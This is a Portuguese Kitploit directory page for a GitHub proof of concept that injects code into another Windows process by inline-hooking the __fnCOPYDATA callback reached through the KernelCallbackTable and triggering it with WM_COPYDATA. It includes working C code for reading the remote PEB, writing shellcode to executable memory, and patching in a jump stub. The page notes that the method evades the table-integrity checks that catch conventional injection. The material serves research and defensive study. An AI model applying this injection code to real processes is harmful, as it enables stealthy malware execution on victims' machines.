Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
win32k-callback-detouring — Abusando do mecanismo de callback do kernel win32k.sys para execução arbitrária de código | Kitploit
Ferramentas/GitHubGitHub/n0qword/win32k-callback-detouring
ExploraçãoShellcodePós-ExploraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

Abusando do mecanismo de callback do kernel win32k.sys para execução arbitrária de código

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver RepositórioSite
10812há 4 mesesRevisado pelo Kitploit

Aviso Legal

Este repositório é fornecido estritamente para fins educacionais e de pesquisa defensiva.

Ele demonstra os mecanismos internos de despacho de callbacks do Windows e conceitos de fluxo de controle relacionados à KernelCallbackTable em um contexto de prova de conceito.

  • Não se destina a uso não autorizado
  • Não foi projetado para implantação operacional
  • Sem considerações de stealth/opsec
  • Use apenas em ambientes de laboratório controlados que você possua ou esteja autorizado a testar

O autor não assume nenhuma responsabilidade por uso indevido.


Win32k Callback Detouring: Abusando do Despacho Legítimo de Callbacks do Kernel para o Usuário para Execução de Código

Visão Geral

Esta técnica de injeção abusa do caminho de despacho de callbacks do kernel para o usuário usado pelo subsistema gráfico do Windows (win32k.sys) para obter execução de código dentro de um processo remoto. Ao localizar a KernelCallbackTableatravés doProcess Environment Block (PEB)` do processo alvo, um operador pode enumerar entradas de callback e identificar rotinas legítimas de modo usuário invocadas durante transições de kernel relacionadas à GUI.

Em vez de realizar a tradicional KernelCallbackTable Injection, em que uma entrada de callback é sobrescrita diretamente com o endereço do shellcode, esta variação aplica hook no destino legítimo de callback referenciado pela tabela e redireciona a execução para um shellcode controlado pelo atacante quando invocado. Como a execução é sequestrada por meio de um caminho de callback existente e esperado, a técnica pode fornecer uma alternativa mais furtiva a primitivas mais convencionais, como criação de threads remotas ou APC-based injection.


Entendendo o Mecanismo

Fluxo de Despacho de Callbacks do Windows

O subsistema gráfico do Windows delega partes do processamento relacionado à GUI para o modo usuário por meio de um mecanismo de callback iniciado a partir do modo kernel. Quando win32k.sys exige lógica para ser executada no contexto de um processo GUI, ele invoca KeUserModeCallback para realizar uma transição controlada do modo kernel para o modo usuário, preservando o limite de isolamento entre ambos os contextos de execução.

Essa transição estabelece o caminho de execução legítimo por meio do qual o kernel despacha callbacks do subsistema gráfico para o modo usuário — o mesmo caminho posteriormente abusado pela técnica apresentada.


KiUserCallbackDispatcher

Quando a transição é concluída, a execução entra em KiUserCallbackDispatcher, uma rotina da ntdll.dll responsável por receber o índice de callback fornecido pelo kernel e despachar a execução para o manipulador de callback de modo usuário correspondente. Essa rotina serve como ponto de entrada obrigatório para todos os callbacks iniciados por meio de KeUserModeCallback.

Como toda a resolução de callbacks converge neste dispatcher, KiUserCallbackDispatcher funciona como o pivô central entre as solicitações de callback do kernel e sua eventual execução no modo usuário.


Caminho de Resolução da KernelCallbackTable

Para resolver o destino de um callback solicitado, KiUserCallbackDispatcher consulta a KernelCallbackTable armazenada no PEB do processo alvo. Cada entrada da tabela contém um ponteiro para uma rotina de callback de modo usuário associada a uma operação específica do subsistema gráfico, normalmente implementada em user32.dll.

Técnicas tradicionais de KernelCallbackTable Injection sobrescrevem diretamente uma ou mais dessas entradas para redirecionar a execução. Embora eficazes, modificar a própria tabela introduz anomalias estruturais que podem ser trivialmente detectadas por meio da validação de integridade do PEB ou do conteúdo da tabela de callbacks. A técnica apresentada evita isso preservando a estrutura da tabela e, em vez disso, aplicando detour no destino de callback referenciado pela entrada.


Usando __fnCOPYDATA como Primitiva de Execução

Entre as entradas disponíveis da KernelCallbackTable, __fnCOPYDATA fornece uma primitiva de gatilho particularmente conveniente porque pode ser invocada externamente ao entregar uma mensagem WM_COPYDATA por meio de SendMessage(). Isso permite que o callback seja acionado deterministicamente sem exigir estado incomum do processo ou interação complexa.

Ao aproveitar um destino de callback naturalmente acessível e frequentemente usado, a técnica obtém uma primitiva de execução confiável, permanecendo totalmente dentro da cadeia de despacho de callbacks esperada antes do redirecionamento.


kcallbackflow


Como Funciona

A técnica começa localizando o processo alvo e lendo seu PEB para recuperar o endereço da KernelCallbackTable, a partir do qual o ponteiro de callback para __fnCOPYDATA é resolvido. Em seguida, memória executável é alocada dentro do processo remoto, e um shellcode controlado pelo atacante é gravado na região alocada. Antes da modificação, os bytes originais da rotina de callback legítima são preservados para permitir restauração posterior.

Um hook inline é subsequentemente instalado no início da rotina __fnCOPYDATA resolvida, substituindo seu prólogo por um salto absoluto para o shellcode injetado. Para acionar a execução, uma mensagem WM_COPYDATA é enviada para a janela alvo, fazendo com que o subsistema gráfico do Windows despache __fnCOPYDATA por meio da cadeia padrão de callback do kernel para o usuário. Quando a execução é concluída, os bytes originais do callback são restaurados para preservar a estabilidade do processo e reduzir artefatos residuais de modificação.


Implementação

Etapa 1: Obter o PEB do Processo Remoto e a KernelCallbackTable

A KernelCallbackTable está localizada no deslocamento 0x58 dentro do PEB:

dt_peb

A seguinte lógica é usada para obtê-la:

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

O código começa chamando NtQueryInformationProcess com a classe de informações ProcessBasicInformation para preencher uma estrutura PROCESS_BASIC_INFORMATION, que expõe o endereço do PEB do processo remoto por meio do campo PebBaseAddress.

Em seguida, NtReadVirtualMemory é usado para ler o PEB remoto em uma estrutura PEB local, permitindo a extração do ponteiro da KernelCallbackTable armazenado no ambiente do processo. Após validar que a tabela de callbacks está presente, uma segunda chamada a NtReadVirtualMemory copia a estrutura remota KERNELCALLBACKTABLE para a memória local, permitindo a resolução direta de destinos de callback, como __fnCOPYDATA, para o detour subsequente.

kct_callback


Etapa 2: Alocar Shellcode no Processo Remoto

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

NtAllocateVirtualMemory reserva memória executável dentro do processo remoto e retorna seu endereço base por meio de remoteShellcodeAddr. O tamanho da alocação é derivado do comprimento do buffer do shellcode.

NtWriteVirtualMemory então copia o shellcode para a região alocada, preparando o payload no processo alvo para execução posterior por meio do detour de callback.


Etapa 3: Instalar o Hook Inline e Acionar a Execução

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

InitializeHookRemote prepara o destino de callback remoto para o detour, armazenando os endereços da função original e do detour dentro da estrutura INLINEHOOKTABLE. Ele preserva o prólogo original do callback lendo os primeiros bytes da rotina alvo com NtReadVirtualMemory e, em seguida, altera a proteção dessa região para PAGE_EXECUTE_READWRITE usando NtProtectVirtualMemory para que ela possa ser corrigida com segurança.

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

InstallHookRemote constrói um stub de salto absoluto x64 (mov r10, <detour>; jmp r10) que redireciona a execução para o shellcode injetado. O stub de salto é então gravado sobre o início da rotina de callback alvo via NtWriteVirtualMemory, instalando efetivamente o hook inline.

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

RemoveHookRemote restaura a rotina de callback original gravando novamente os bytes do prólogo preservados na estrutura INLINEHOOKTABLE. Em seguida, restabelece os atributos de proteção de memória originais da região corrigida usando NtProtectVirtualMemory, removendo o hook inline e retornando o destino de callback ao seu estado inicial.

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

Para acionar a execução, uma mensagem WM_COPYDATA é enviada para a janela alvo via SendMessageW, forçando o dispatcher de callbacks do Windows a invocar a rotina __fnCOPYDATA com hook por meio do caminho normal de callback do kernel para o usuário. Após a conclusão da execução, RemoveHookRemote restaura os bytes originais do callback para preservar a estabilidade do processo.


Execução

Uma vez que a lógica é implementada, a prova de conceito pode ser executada para produzir o seguinte resultado:

fin_exec

Baixar ferramenta